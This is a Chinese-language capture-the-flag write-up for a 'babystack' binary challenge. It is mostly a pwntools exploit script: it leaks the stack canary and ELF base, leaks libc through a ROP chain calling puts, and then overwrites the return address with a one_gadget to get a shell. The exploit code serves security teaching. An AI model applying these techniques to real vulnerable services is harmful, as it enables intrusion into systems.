babystack
首先检查一下保护
全保护开启,我们IDA分析一下。
main函数很简单,首先第一个read明显存在漏洞,如果不是以 \n
结尾会存在栈中地址的泄漏。
payload = 'A'*0x88+'A' #这里多加一个A是因为canary的低字节为\x00
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
第一个read我们泄漏了canary和elf的基地址。接下来我们用第二read 泄漏libc地址,控制程序返回main函数
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
接下来我们就可以ret2onegadget了。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./babystack')
elf = ELF('./babystack')
libc = ELF('./libc-2.27.so')
#--------------------leak canary elf_base---------------#
payload = 'A'*0x88+'A'
p.sendafter("What's your name: ",payload)
p.recvuntil('A'*0x88)
canary = u64(p.recv(8))-ord('A')
elf_base = u64(p.recv(6).ljust(8,'\x00'))-0x910
print 'canary: '+hex(canary)
print 'elf_base: '+hex(elf_base)
#——----------------leak libc_base-----------------------------#
pop_rdi_ret = 0x973
main = elf_base+0x080A
payload = 'A'*0x88 + p64(canary) + 'B'*8
payload += p64(elf_base+pop_rdi_ret) +p64(elf_base+elf.got['puts'])+ p64(elf_base+elf.plt['puts'])+p64(main)
p.sendafter('to say: ',payload)
p.recvline()
puts = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = puts - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
#---------------ret2 one_gadget----------------------------------#
one = [0x10a38c,0x4f322,0x4f2c5]
p.sendafter("What's your name: ",'AAAA')
payload = 'A'*0x88 + p64(canary) + 'B'*8 + p64(libc_base+one[0])
p.sendafter('to say: ',payload)
p.interactive()